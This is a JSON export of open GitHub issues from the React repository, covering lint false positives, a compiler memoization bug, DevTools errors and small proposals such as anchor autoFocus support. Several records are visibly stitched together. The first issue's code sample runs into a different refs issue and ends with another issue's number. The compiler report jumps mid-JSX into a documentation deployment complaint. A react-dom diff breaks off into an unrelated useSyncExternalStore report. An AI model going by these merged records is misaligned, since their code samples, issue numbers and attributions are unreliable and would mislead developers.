{
"issues": [
{
"url": "https://api.github.com/repos/facebook/react/issues/35984",
"id": 4047584712,
"node_id": "I_kwDOAJy2Ks7xQT3I",
"number": 35984,
"title": "Bug: react-hooks/static-components false positive",
"user": {
"login": "retyui",
"id": 4661784,
"node_id": "MDQ6VXNlcjQ2NjE3ODQ=",
"avatar_url": "https://avatars.githubusercontent.com/u/4661784?v=4",
"gravatar_id": "",
"url": "https://api.github.com/users/retyui",
"type": "User",
"user_view_type": "public",
"site_admin": false
},
"labels": {
"0": {
"id": 155984160,
"node_id": "MDU6TGFiZWwxNTU5ODQxNjA=",
"url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed",
"name": "Status: Unconfirmed",
"color": "d4c5f9",
"default": false,
"description": "A potential issue that we haven't yet confirmed as a bug"
}
},
"state": "open",
"locked": false,
"assignees": {},
"milestone": null,
"comments": 2,
"created_at": "2026-03-09T19:52:41Z",
"updated_at": "2026-03-09T21:34:29Z",
"closed_at": null,
"assignee": null,
"author_association": "NONE",
"type": null,
"active_lock_reason": null,
"sub_issues_summary": {
"total": 0,
"completed": 0,
"percent_completed": 0
},
"issue_dependencies_summary": {
"blocked_by": 0,
"total_blocked_by": 0,
"blocking": 0,
"total_blocking": 0
},
"body": "\neslint-plugin-react-hooks: 7.0.1\n\n## Steps To Reproduce\n\n1.Create react app\n2. Add this `eslint-plugin-react-hooks` plugin \n3. Lint the next code\n\n```tsx\nimport { FeatureRemovalBuildTime } from '@xxx/build-time-tools/FeatureRemovalBuildTime';\nimport { PlatformSwitchBuildTime } from '@xxx/build-time-tools/PlatformSwitchBuildTime';\nimport { isMyFeature } from '@xxx/config/exporter';\nimport ErrorMessageMT from './ErrorMessageMT';\nimport ErrorMessageBase from './ErrorMessageBase';\n\nimport type { ErrorMessageProps } from './types';\n\nconst ErrorMessage = (props: ErrorMessageProps) => {\n 'use memo';\n\n const ErrorMessageView = PlatformSwitchBuildTime.select({\n anyMT:\n FeatureRemovalBuildTime.isMyFeature && isMyFeature()\n ? ErrorMessageMT\n : ErrorMessageBase,\n default: ErrorMessageBase,\n });\n\n return Compteur {count}\n\nI think the rule mistakenly interprets `groupRefs.group2` as referencing `ref.current`, which is not the case. If I don't collect all refs in an object but create an individual variable for each, I don't get an error.\n\nSteps to reproduce:\n+ Open [this sandbox](https://stackblitz.com/edit/github-gjhxk4ip?file=src%2FApp.tsx).\n+ Download it:\n\n
\n\n+ Run `npm install`, open in vscode.\n+ You should get the error I screenshotted above.\n\nThanks!",
"closed_by": null,
"reactions": {
"url": "https://api.github.com/repos/facebook/react/issues/35813/reactions",
"total_count": 1,
"+1": 0,
"-1": 0,
"laugh": 0,
"hooray": 0,
"confused": 0,
"heart": 1,
"rocket": 0,
"eyes": 0
},
"performed_via_github_app": null,
"state_reason": null,
"pinned_comment": null,
"linked_prs": [
35819
]
},
{
"url": "https://api.github.com/repos/facebook/react/issues/35793",
"id": 3944846869,
"node_id": "I_kwDOAJy2Ks7rIZYV",
"number": 35793,
"title": "Bug: Malformed `private` field in react-devtools-fusebox package.json",
"user": {
"login": "MohammadBinAftab",
"id": 48010758,
"node_id": "MDQ6VXNlcjQ4MDEwNzU4",
"avatar_url": "https://avatars.githubusercontent.com/u/48010758?v=4",
"gravatar_id": "",
"url": "https://api.github.com/users/MohammadBinAftab",
"type": "User",
"user_view_type": "public",
"site_admin": false
},
"labels": {
"0": {
"id": 155984160,
"node_id": "MDU6TGFiZWwxNTU5ODQxNjA=",
"url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed",
"name": "Status: Unconfirmed",
"color": "d4c5f9",
"default": false,
"description": "A potential issue that we haven't yet confirmed as a bug"
}
},
"state": "open",
"locked": false,
"assignees": {},
"milestone": null,
"comments": 5,
"created_at": "2026-02-15T20:26:07Z",
"updated_at": "2026-02-22T18:24:28Z",
"closed_at": null,
"assignee": null,
"author_association": "NONE",
"type": null,
"active_lock_reason": null,
"sub_issues_summary": {
"total": 0,
"completed": 0,
"percent_completed": 0
},
"issue_dependencies_summary": {
"blocked_by": 0,
"total_blocked_by": 0,
"blocking": 0,
"total_blocking": 0
},
"body": "**Bug: Malformed `private` field in react-devtools-fusebox package.json**\n\nCurrent Behavior\n\nThe `package.json` file for `react-devtools-fusebox` uses a **string** for the `private` field instead of a **boolean**:\n\n**Location** [`[packages/react-devtools-fusebox/package.json](https://github.com/facebook/react/blob/main/packages/react-devtools-fusebox/package.json)`](https://github.com/facebook/react/blob/main/packages/react-devtools-fusebox/package.json)\n\n```json\n{\n \"private\": \"true\", // Should be: \"private\": true\n}\n```\n\n### Expected Behavior\n\nAccording to the [[npm package.json specification](https://docs.npmjs.com/cli/v11/configuring-npm/package.json#private)](https://docs.npmjs.com/cli/v11/configuring-npm/package.json#private), the `private` field must be a **boolean**, not a string:\n\n```json\n{\n \"private\": true, // Correct\n}\n```\n\n### Impact\n\nThis causes failures in package scanning tools that validate package metadata:\n\n- **ScanCode.io** pipeline fails when scanning `pkg:github/facebook/[email protected]`\n- Type validation error: `'\"true\" value must be either True or False.'`\n- Non-compliant with npm specification\n\n**Related upstream issues:**\n- [[aboutcode-org/scancode.io#1986](https://github.com/aboutcode-org/scancode.io/issues/1986)](https://github.com/aboutcode-org/scancode.io/issues/1986) - Pipeline failure report\n- [[aboutcode-org/scancode-toolkit#4631](https://github.com/aboutcode-org/scancode-toolkit/issues/4631)](https://github.com/aboutcode-org/scancode-toolkit/issues/4631) - Root cause analysis\n- [[aboutcode-org/scancode-toolkit#4635](https://github.com/aboutcode-org/scancode-toolkit/pull/4635)](https://github.com/aboutcode-org/scancode-toolkit/pull/4635) - Defensive fix to handle malformed data\n\nWhile downstream tools are adding workarounds, the source data should comply with the npm specification.\n\n### Reproduction\n\n```bash\n# Scan the package with ScanCode\nscancode --package packages/react-devtools-fusebox/package.json --json-pp -\n\n# Output shows:\n# \"is_private\": \"true\", <-- String instead of boolean\n```\n\n### Proposed Fix\n\n```diff\n{\n \"name\": \"react-devtools-fusebox\",\n \"version\": \"0.0.0\",\n- \"private\": \"true\",\n+ \"private\": true,\n \"license\": \"MIT\",\n}\n```\n\n### Questions\n\n1. Are there other `package.json` files in the React monorepo with similar issues?\n2. Was the string value intentional for any specific reason?\n\n---\n\nI'm happy to submit a PR to fix this if helpful. \n",
"closed_by": null,
"reactions": {
"url": "https://api.github.com/repos/facebook/react/issues/35793/reactions",
"total_count": 0,
"+1": 0,
"-1": 0,
"laugh": 0,
"hooray": 0,
"confused": 0,
"heart": 0,
"rocket": 0,
"eyes": 0
},
"performed_via_github_app": null,
"state_reason": null,
"pinned_comment": null,
"linked_prs": [
35904,
35802
]
},
{
"url": "https://api.github.com/repos/facebook/react/issues/35762",
"id": 3926598259,
"node_id": "I_kwDOAJy2Ks7qCyJz",
"number": 35762,
"title": "[Compiler Bug]: Closure dependency cache keys eagerly evaluate property accesses, causing TypeError on nullable objects",
"user": {
"login": "MatiasCiccone",
"id": 32602795,
"node_id": "MDQ6VXNlcjMyNjAyNzk1",
"avatar_url": "https://avatars.githubusercontent.com/u/32602795?v=4",
"gravatar_id": "",
"url": "https://api.github.com/users/MatiasCiccone",
"type": "User",
"user_view_type": "public",
"site_admin": false
},
"labels": {
"0": {
"id": 40929151,
"node_id": "MDU6TGFiZWw0MDkyOTE1MQ==",
"url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug",
"name": "Type: Bug",
"color": "b60205",
"default": false,
"description": null
},
"1": {
"id": 155984160,
"node_id": "MDU6TGFiZWwxNTU5ODQxNjA=",
"url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed",
"name": "Status: Unconfirmed",
"color": "d4c5f9",
"default": false,
"description": "A potential issue that we haven't yet confirmed as a bug"
}
},
"state": "open",
"locked": false,
"assignees": {},
"milestone": null,
"comments": 2,
"created_at": "2026-02-11T13:34:24Z",
"updated_at": "2026-03-02T04:37:58Z",
"closed_at": null,
"assignee": null,
"author_association": "NONE",
"type": null,
"active_lock_reason": null,
"sub_issues_summary": {
"total": 0,
"completed": 0,
"percent_completed": 0
},
"issue_dependencies_summary": {
"blocked_by": 0,
"total_blocked_by": 0,
"blocking": 0,
"total_blocking": 0
},
"body": "### What kind of issue is this?\n\n- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)\n- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)\n- [ ] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)\n- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)\n\n### Link to repro\n\nhttps://playground.react.dev/#N4Igzg9grgTgxgUxALhHCA7MAXABAWQE8BhCAWwAdMEM8BeXACmFyjARlwF8BKXOgHy5gAHQy5c6LHgAWAQwwATADYJiygJZwA1vyZ9BwsRIlTIqgHTKIAc0ZsOFjHLIIeAbmPdPGLxoBmTACEDjB8MAjYsOIYUMrKPl4RUTDiADwARlDY2Ji4mOpa2nTA8kqqhTpcApXaaQD0WTmYAj5c7iAANGiY-ho2KCAalBAweNiEFAjCuAAKylA2GhgA8hTYGphg3Lj+MOS4AOQZchkIygC0FAtLGBcRcnDYF+iUGqow9YoaOIeJGMwvPV6q8KO85BtMPgIIoEMhcCIQHJ4oixFxcGAIT8+ghtvNFss1pCsB4uuAZBAAO4ASVoHGcyjAKH8yPYXCAA\n\n### Repro steps\n\n1. Create a component that receives a nullable prop\n2. Access that prop's properties inside a closure (event handler)\n3. Add an early return guard: if (!prop) return null\n4. Pass null/undefined as the prop\n5. Component throws TypeError during render\n\n------------------------\n\n# React Compiler hoists closure property accesses into cache keys, causing TypeError\n\n## Summary\n\nThe React Compiler generates memoization cache keys by eagerly evaluating property accesses that were originally deferred inside closures (event handlers). This causes `TypeError` at render time when the object is `null`/`undefined`, even though the original code would never access the property during render.\n\nEarly returns (`if (!x) return null`) do not help â the compiler hoists the cache key check above the guard.\n\nJSX expressions are not affected â the compiler correctly extracts them to intermediate variables.\n\n## Reproduction\n\n[React Compiler Playground](https://playground.react.dev/)\n\n### Minimal case\n\n```jsx\nconst MyComponent = ({ user }) => {\n const handleClick = () => {\n console.log(user.name);\n };\n\n if (!user) return null;\n\n return ;\n};\n```\n\nCompiled output:\n\n```js\nconst MyComponent = (t0) => {\n const $ = _c(4);\n const { user } = t0;\n\n // Cache key runs BEFORE the null guard â throws when user is null\n if ($[0] !== user.name) {\n t1 = () => {\n console.log(user.name);\n };\n $[0] = user.name;\n $[1] = t1;\n }\n\n // The null guard comes AFTER â too late\n if (!user) {\n return null;\n }\n\n // ...\n};\n```\n\nThe source code is safe: `user.name` is only inside a click handler, and the early return prevents the button from rendering when `user` is null. But the compiler hoists `user.name` into a cache key that runs on **every render**, before the guard.\n\n### With nested access and JSX\n\n```jsx\nconst MyComponent = ({ user }) => {\n const [visible, setVisible] = useState(false);\n const [link, setLink] = useState(null);\n\n const handleClick = async () => {\n console.log(user.company.id);\n console.log(user.email);\n };\n\n return (\n
\n> * When I click the button:\n> \n>
\n> It stopped working at some point, and from my investigation, this problem affects the entire React documentation site, including react.dev and other i18n documentation.\n> \n> cc. [@rickhanlonii](https://github.com/rickhanlonii)\n> \n> ### Page\n> [#8277](https://github.com/reactjs/react.dev/pull/8277)\n> \n> ### Details\n> [#8277](https://github.com/reactjs/react.dev/pull/8277)\n> \n> Clicking the 'View Deployment' button in the link above doesn't work for external contributors.\n\n",
"closed_by": null,
"reactions": {
"url": "https://api.github.com/repos/facebook/react/issues/35728/reactions",
"total_count": 0,
"+1": 0,
"-1": 0,
"laugh": 0,
"hooray": 0,
"confused": 0,
"heart": 0,
"rocket": 0,
"eyes": 0
},
"performed_via_github_app": null,
"state_reason": null,
"pinned_comment": null,
"linked_prs": []
},
{
"url": "https://api.github.com/repos/facebook/react/issues/35725",
"id": 3913642800,
"node_id": "I_kwDOAJy2Ks7pRXMw",
"number": 35725,
"title": "Bug: Initialize transition start time in startTransition and startGestureTransition",
"user": {
"login": "subhamkumarr",
"id": 99977240,
"node_id": "U_kgDOBfWIGA",
"avatar_url": "https://avatars.githubusercontent.com/u/99977240?v=4",
"gravatar_id": "",
"url": "https://api.github.com/users/subhamkumarr",
"type": "User",
"user_view_type": "public",
"site_admin": false
},
"labels": {
"0": {
"id": 155984160,
"node_id": "MDU6TGFiZWwxNTU5ODQxNjA=",
"url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed",
"name": "Status: Unconfirmed",
"color": "d4c5f9",
"default": false,
"description": "A potential issue that we haven't yet confirmed as a bug"
}
},
"state": "open",
"locked": false,
"assignees": {},
"milestone": null,
"comments": 0,
"created_at": "2026-02-08T21:46:53Z",
"updated_at": "2026-02-08T21:46:53Z",
"closed_at": null,
"assignee": null,
"author_association": "NONE",
"type": null,
"active_lock_reason": null,
"sub_issues_summary": {
"total": 0,
"completed": 0,
"percent_completed": 0
},
"issue_dependencies_summary": {
"blocked_by": 0,
"total_blocked_by": 0,
"blocking": 0,
"total_blocking": 0
},
"body": "## Description\nCurrently, calls to `startTransition` and `startGestureTransition` in `packages/react/src/ReactStartTransition.js` initialize `currentTransition.startTime` to `-1`. There is a TODO comment indicating that this should read the timestamp.\n\nThe timestamp is currently lazily set in `ReactFiberWorkLoop.js` when an update is scheduled. This behavior differs from `useTransition`, which correctly sets the start time immediately.\n\nThis issue proposes to:\n\n1. Initialize `startTime` using `performance.now()` (falling back to `Date.now()`) directly in `startTransition` and `startGestureTransition`.\n2. Remove the lazy initialization logic in `ReactFiberWorkLoop.js`.\n\nThis ensures the timestamp accurately reflects when the transition was started, even if updates are processed later.\n\n## Relevant Files\n* `packages/react/src/ReactStartTransition.js`\n* `packages/react-reconciler/src/ReactFiberWorkLoop.js`\n\n## Steps to Reproduce (or verify)\n1. Enable `enableTransitionTracing`.\n2. Inspect `currentTransition.startTime` immediately after creating a transition via `startTransition`. Ideally, it should hold a valid timestamp instead of `-1`.",
"closed_by": null,
"reactions": {
"url": "https://api.github.com/repos/facebook/react/issues/35725/reactions",
"total_count": 0,
"+1": 0,
"-1": 0,
"laugh": 0,
"hooray": 0,
"confused": 0,
"heart": 0,
"rocket": 0,
"eyes": 0
},
"performed_via_github_app": null,
"state_reason": null,
"pinned_comment": null,
"linked_prs": [
35726
]
},
{
"url": "https://api.github.com/repos/facebook/react/issues/35722",
"id": 3912620652,
"node_id": "I_kwDOAJy2Ks7pNdps",
"number": 35722,
"title": "[eslint-plugin-react-hooks] sync plugin version with package.json",
"user": {
"login": "rhehfl",
"id": 154503723,
"node_id": "U_kgDOCTWKKw",
"avatar_url": "https://avatars.githubusercontent.com/u/154503723?v=4",
"gravatar_id": "",
"url": "https://api.github.com/users/rhehfl",
"type": "User",
"user_view_type": "public",
"site_admin": false
},
"labels": {
"0": {
"id": 155984160,
"node_id": "MDU6TGFiZWwxNTU5ODQxNjA=",
"url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed",
"name": "Status: Unconfirmed",
"color": "d4c5f9",
"default": false,
"description": "A potential issue that we haven't yet confirmed as a bug"
}
},
"state": "open",
"locked": false,
"assignees": {},
"milestone": null,
"comments": 0,
"created_at": "2026-02-08T12:13:39Z",
"updated_at": "2026-02-08T12:35:29Z",
"closed_at": null,
"assignee": null,
"author_association": "NONE",
"type": null,
"active_lock_reason": null,
"sub_issues_summary": {
"total": 0,
"completed": 0,
"percent_completed": 0
},
"issue_dependencies_summary": {
"blocked_by": 0,
"total_blocked_by": 0,
"blocking": 0,
"total_blocking": 0
},
"body": "The version in `packages/eslint-plugin-react-hooks/src/index.ts` is currently hardcoded as a string (e.g., `'7.0.0'`). This violates the Single Source of Truth (SSOT) principle for version management.\n\nWhile `scripts/shared/ReactVersions.js` manages package versions during the release process and updates `package.json`, it does not update this hardcoded string in the source file. Since this package is published without a bundling step that injects the version (based on the `files` field in `package.json`), it relies on manual updates, which are prone to human error and version mismatches.\n\n**React version:** `main` branch\n\n## Steps To Reproduce\n\n1. Go to `packages/eslint-plugin-react-hooks/src/index.ts` in the main branch.\n2. Check the `meta.version` property in the exported plugin object.\n3. Observe that it is a hardcoded string rather than a dynamic reference to `package.json`.\n\n**Link to code example:**\nhttps://github.com/facebook/react/blob/main/packages/eslint-plugin-react-hooks/src/index.ts\n\n## The current behavior\n\nThe version is explicitly hardcoded in the source file, which creates a risk of metadata inconsistency if the release script updates `package.json` but misses this file.\n```typescript\n// Current implementation\nconst plugin = {\n meta: {\n name: 'eslint-plugin-react-hooks',\n version: '7.0.0', // Hardcoded string\n },\n rules,\n configs,\n};\n```\n\n## The expected behavior\n\nSince ESLint plugins run in a Node.js environment, the version should be dynamically retrieved from `package.json`. This ensures that the runtime version always matches the published package metadata without requiring manual synchronization or complex build injections.\n\nSince the codebase uses TypeScript with ES modules, we should use `import` to dynamically load the version, which is the idiomatic approach in TypeScript/ESM for ensuring SSOT.\n```typescript\n// Proposed change\nimport pkg from '../package.json';\n\nconst plugin = {\n meta: {\n name: 'eslint-plugin-react-hooks',\n version: pkg.version, // Dynamic reference from package.json\n },\n rules,\n configs,\n};\n\nexport default plugin;\n```\n**References:** \n[ESLint official documentation on Plugin Metadata](https://eslint.org/docs/latest/extend/plugins#meta-data-in-plugins). While the documentation shows various examples, the principle of dynamically sourcing metadata from `package.json` is a recommended best practice for maintaining version consistency.",
"closed_by": null,
"reactions": {
"url": "https://api.github.com/repos/facebook/react/issues/35722/reactions",
"total_count": 1,
"+1": 0,
"-1": 0,
"laugh": 0,
"hooray": 0,
"confused": 0,
"heart": 1,
"rocket": 0,
"eyes": 0
},
"performed_via_github_app": null,
"state_reason": null,
"pinned_comment": null,
"linked_prs": [
35783
]
},
{
"url": "https://api.github.com/repos/facebook/react/issues/35713",
"id": 3908036585,
"node_id": "I_kwDOAJy2Ks7o7-fp",
"number": 35713,
"title": "[DevTools Bug] Cannot remove node \"1052\" because no matching node was found in the Store.",
"user": {
"login": "machineghost",
"id": 448908,
"node_id": "MDQ6VXNlcjQ0ODkwOA==",
"avatar_url": "https://avatars.githubusercontent.com/u/448908?v=4",
"gravatar_id": "",
"url": "https://api.github.com/users/machineghost",
"type": "User",
"user_view_type": "public",
"site_admin": false
},
"labels": {
"0": {
"id": 40929151,
"node_id": "MDU6TGFiZWw0MDkyOTE1MQ==",
"url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug",
"name": "Type: Bug",
"color": "b60205",
"default": false,
"description": null
},
"1": {
"id": 155984160,
"node_id": "MDU6TGFiZWwxNTU5ODQxNjA=",
"url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed",
"name": "Status: Unconfirmed",
"color": "d4c5f9",
"default": false,
"description": "A potential issue that we haven't yet confirmed as a bug"
},
"2": {
"id": 710573595,
"node_id": "MDU6TGFiZWw3MTA1NzM1OTU=",
"url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools",
"name": "Component: Developer Tools",
"color": "fbca04",
"default": false,
"description": null
}
},
"state": "open",
"locked": false,
"assignees": {},
"milestone": null,
"comments": 8,
"created_at": "2026-02-06T18:57:59Z",
"updated_at": "2026-02-12T21:24:50Z",
"closed_at": null,
"assignee": null,
"author_association": "NONE",
"type": null,
"active_lock_reason": null,
"sub_issues_summary": {
"total": 0,
"completed": 0,
"percent_completed": 0
},
"issue_dependencies_summary": {
"blocked_by": 0,
"total_blocked_by": 0,
"blocking": 0,
"total_blocking": 0
},
"body": "### Website or app\n\nPrivate App\n\n### Repro steps\n\nTry to profile, get the error\n\n### How often does this bug happen?\n\nEvery time\n\n### DevTools package (automated)\n\nreact-devtools-extensions\n\n### DevTools version (automated)\n\n7.0.1-3cde211b0c\n\n### Error message (automated)\n\nCannot remove node \"1052\" because no matching node was found in the Store.\n\n### Error call stack (automated)\n\n```text\nat chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:726672\n at p.emit (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:680330)\n at chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:682241\n at bridgeListener (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1189368)\n```\n\n### Error component stack (automated)\n\n```text\n\n```\n\n### GitHub query string (automated)\n\n```text\nhttps://api.github.com/search/issues?q=Cannot remove node because no matching node was found in the Store. in:title is:issue is:open is:public label:\"Component: Developer Tools\" repo:facebook/react\n```",
"closed_by": null,
"reactions": {
"url": "https://api.github.com/repos/facebook/react/issues/35713/reactions",
"total_count": 4,
"+1": 3,
"-1": 0,
"laugh": 0,
"hooray": 0,
"confused": 0,
"heart": 1,
"rocket": 0,
"eyes": 0
},
"performed_via_github_app": null,
"state_reason": null,
"pinned_comment": null,
"linked_prs": [
35716
]
},
{
"url": "https://api.github.com/repos/facebook/react/issues/35698",
"id": 3901152864,
"node_id": "I_kwDOAJy2Ks7oht5g",
"number": 35698,
"title": "Bug: Erro: Falha ao executar 'insertBefore' em 'Node': O nó antes do qual o novo nó deve ser inserido não é filho deste nó.",
"user": {
"login": "powercerebro",
"id": 209700259,
"node_id": "U_kgDODH_Fow",
"avatar_url": "https://avatars.githubusercontent.com/u/209700259?v=4",
"gravatar_id": "",
"url": "https://api.github.com/users/powercerebro",
"type": "User",
"user_view_type": "public",
"site_admin": false
},
"labels": {
"0": {
"id": 155984160,
"node_id": "MDU6TGFiZWwxNTU5ODQxNjA=",
"url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed",
"name": "Status: Unconfirmed",
"color": "d4c5f9",
"default": false,
"description": "A potential issue that we haven't yet confirmed as a bug"
}
},
"state": "open",
"locked": false,
"assignees": {},
"milestone": null,
"comments": 1,
"created_at": "2026-02-05T11:44:41Z",
"updated_at": "2026-02-05T17:26:09Z",
"closed_at": null,
"assignee": null,
"author_association": "NONE",
"type": null,
"active_lock_reason": null,
"sub_issues_summary": {
"total": 0,
"completed": 0,
"percent_completed": 0
},
"issue_dependencies_summary": {
"blocked_by": 0,
"total_blocked_by": 0,
"blocking": 0,
"total_blocking": 0
},
"body": "já desinstalei e instalei o chrome e toda hora da esse erro. não tem nenhuma extensão instalada, o tradutor esta desabilitado. tentei no firefox, edge e toda hora da o mesmo erro. não consigo fazer nada no meu produto. \nPode me ajudar?\n\nDesculpe! Uma extensão do navegador pode ter causado um erro.\n\nSabe-se que ferramentas de tradução do navegador (como o Tradutor integrado do Chrome) ou algumas extensões de navegador de terceiros causam erros ao usar o Painel de Controle do Supabase.\n\nRecomendamos fortemente desativar o Chrome Translate ou certas extensões do navegador ao usar o Painel de Controle da Supabase para evitar esse erro. Tente atualizar a página para ver se o problema persiste.\n\nErro: Falha ao executar 'insertBefore' em 'Node': O nó antes do qual o novo nó deve ser inserido não é filho deste nó.",
"closed_by": null,
"reactions": {
"url": "https://api.github.com/repos/facebook/react/issues/35698/reactions",
"total_count": 0,
"+1": 0,
"-1": 0,
"laugh": 0,
"hooray": 0,
"confused": 0,
"heart": 0,
"rocket": 0,
"eyes": 0
},
"performed_via_github_app": null,
"state_reason": null,
"pinned_comment": null,
"linked_prs": []
},
{
"url": "https://api.github.com/repos/facebook/react/issues/35657",
"id": 3870388530,
"node_id": "I_kwDOAJy2Ks7msXEy",
"number": 35657,
"title": "Bug: React logComponentRender breaks existing functionalities that utilise proxy (trpc client)",
"user": {
"login": "bimusiek",
"id": 1025588,
"node_id": "MDQ6VXNlcjEwMjU1ODg=",
"avatar_url": "https://avatars.githubusercontent.com/u/1025588?v=4",
"gravatar_id": "",
"url": "https://api.github.com/users/bimusiek",
"type": "User",
"user_view_type": "public",
"site_admin": false
},
"labels": {
"0": {
"id": 155984160,
"node_id": "MDU6TGFiZWwxNTU5ODQxNjA=",
"url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed",
"name": "Status: Unconfirmed",
"color": "d4c5f9",
"default": false,
"description": "A potential issue that we haven't yet confirmed as a bug"
}
},
"state": "open",
"locked": false,
"assignees": {},
"milestone": null,
"comments": 3,
"created_at": "2026-01-29T12:23:54Z",
"updated_at": "2026-02-04T11:19:55Z",
"closed_at": null,
"assignee": null,
"author_association": "NONE",
"type": null,
"active_lock_reason": null,
"sub_issues_summary": {
"total": 0,
"completed": 0,
"percent_completed": 0
},
"issue_dependencies_summary": {
"blocked_by": 0,
"total_blocked_by": 0,
"blocking": 0,
"total_blocking": 0
},
"body": "```\nclient[procedureType] is not a function\n```\n\n\nReact version:\n19.2.3\n\n## The current behavior\nWhen trying to read properties of the object to show the diff in log, it breaks it.\n\n## The expected behavior\nShould work.\n\nI am not sure if this is to be fixed on React side or TRPC, but it worked in previous versions of React.",
"closed_by": null,
"reactions": {
"url": "https://api.github.com/repos/facebook/react/issues/35657/reactions",
"total_count": 2,
"+1": 0,
"-1": 0,
"laugh": 0,
"hooray": 0,
"confused": 0,
"heart": 2,
"rocket": 0,
"eyes": 0
},
"performed_via_github_app": null,
"state_reason": null,
"pinned_comment": null,
"linked_prs": []
},
{
"url": "https://api.github.com/repos/facebook/react/issues/35656",
"id": 3868583410,
"node_id": "I_kwDOAJy2Ks7mleXy",
"number": 35656,
"title": "Bug: Anchor tags do not support autoFocus",
"user": {
"login": "0099FF",
"id": 20736095,
"node_id": "MDQ6VXNlcjIwNzM2MDk1",
"avatar_url": "https://avatars.githubusercontent.com/u/20736095?v=4",
"gravatar_id": "",
"url": "https://api.github.com/users/0099FF",
"type": "User",
"user_view_type": "public",
"site_admin": false
},
"labels": {
"0": {
"id": 155984160,
"node_id": "MDU6TGFiZWwxNTU5ODQxNjA=",
"url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed",
"name": "Status: Unconfirmed",
"color": "d4c5f9",
"default": false,
"description": "A potential issue that we haven't yet confirmed as a bug"
}
},
"state": "open",
"locked": false,
"assignees": {},
"milestone": null,
"comments": 4,
"created_at": "2026-01-29T03:29:03Z",
"updated_at": "2026-02-03T03:25:03Z",
"closed_at": null,
"assignee": null,
"author_association": "NONE",
"type": null,
"active_lock_reason": null,
"sub_issues_summary": {
"total": 0,
"completed": 0,
"percent_completed": 0
},
"issue_dependencies_summary": {
"blocked_by": 0,
"total_blocked_by": 0,
"blocking": 0,
"total_blocking": 0
},
"body": "Hi team!\n\nReact currently doesn't support the `autoFocus` prop for anchor tags. This issue has been raised before, however it was automatically marked as `Stale` and closed: https://github.com/facebook/react/issues/26603\n\nMy opinion matches that of the above ticket author: `autofocus` is a [global attribute](https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/autofocus) and should work for anchor tags just like it does for buttons, text inputs, etc. It sounds like this was discussed several years ago (https://github.com/facebook/react/issues/11851#issuecomment-351672131), however browser support for the `autoFocus` attribute has greatly matured since 2017. I'm not sure modern browsers even need the current polyfill behaviour?\n\nReact version: 18.2.0 (Same behaviour in `main`)\n\n## Steps To Reproduce\n\n1. Add an `a` tag with a `href` value and `autoFocus`.\n2. Observe as the anchor tag is not autofocused on page load.\n\nLink to code example: https://codesandbox.io/p/sandbox/strange-ritchie-wc94dy\n\n\n\n## The current behavior\n\nAnchor tags do not receive focus on page load if the `autoFocus` prop/attribute is used.\n\n## The expected behavior\n\nAnchor tags do receive focus on page load if the `autoFocus` prop/attribute is used.\n\n\n## Dev Notes\n\nThe problem stems from the following switch cases where only the `button`, `input`, `select` and `textarea` inputs are supported:\n\n- https://github.com/facebook/react/blob/main/packages/react-dom-bindings/src/client/ReactFiberConfigDOM.js#L660\n- https://github.com/facebook/react/blob/main/packages/react-dom-bindings/src/client/ReactFiberConfigDOM.js#L858\n\nWe are currently using a patch to bring this functionality to our codebase:\n```diff\ndiff --git a/node_modules/react-dom/cjs/react-dom.development.js b/node_modules/react-dom/cjs/react-dom.development.js\nindex e4ed5ae..530c59f 100644\n--- a/node_modules/react-dom/cjs/react-dom.development.js\n+++ b/node_modules/react-dom/cjs/react-dom.development.js\n@@ -10954,6 +10954,7 @@ function finalizeInitialChildren(domElement, type, props, rootContainerInstance,\n case 'input':\n case 'select':\n case 'textarea':\n+ case 'a':\n return !!props.autoFocus;\n \n case 'img':\n@@ -11026,6 +11027,7 @@ function commitMount(domElement, type, newProps, internalInstanceHandle) {\n case 'input':\n case 'select':\n case 'textarea':\n+ case 'a':\n if (newProps.autoFocus) {\n domElement.focus();\n }\ndiff --git a/node_modules/react-dom/cjs/react-dom.production.min.js b/node_modules/react-dom/cjs/react-dom.production.min.js\nindex 7bbc786..a929cd3 100644\n--- a/node_modules/react-dom/cjs/react-dom.production.min.js\n+++ b/node_modules/react-dom/cjs/react-dom.production.min.js\n@@ -229,7 +229,7 @@ h,a),e=[\"children\",\"\"+h]):ea.hasOwnProperty(g)&&null!=h&&\"onScroll\"===g&&D(\"scro\n \"string\"===typeof d.is?a=g.createElement(c,{is:d.is}):(a=g.createElement(c),\"select\"===c&&(g=a,d.multiple?g.multiple=!0:d.size&&(g.size=d.size))):a=g.createElementNS(a,c);a[Of]=b;a[Pf]=d;Aj(a,b,!1,!1);b.stateNode=a;a:{g=vb(c,d);switch(c){case \"dialog\":D(\"cancel\",a);D(\"close\",a);e=d;break;case \"iframe\":case \"object\":case \"embed\":D(\"load\",a);e=d;break;case \"video\":case \"audio\":for(e=0;e
\n\n## The expected behavior\nThe expected behavior is that getSnapshot should be always called after subscribe is called, i.e. in console I should see\n```\nsubscribe called\ngetSnapshot called <-- after last subscribe\n```",
"closed_by": null,
"reactions": {
"url": "https://api.github.com/repos/facebook/react/issues/35550/reactions",
"total_count": 4,
"+1": 3,
"-1": 0,
"laugh": 0,
"hooray": 0,
"confused": 0,
"heart": 1,
"rocket": 0,
"eyes": 0
},
"performed_via_github_app": null,
"state_reason": null,
"pinned_comment": null,
"linked_prs": []
},
{
"url": "https://api.github.com/repos/facebook/react/issues/35515",
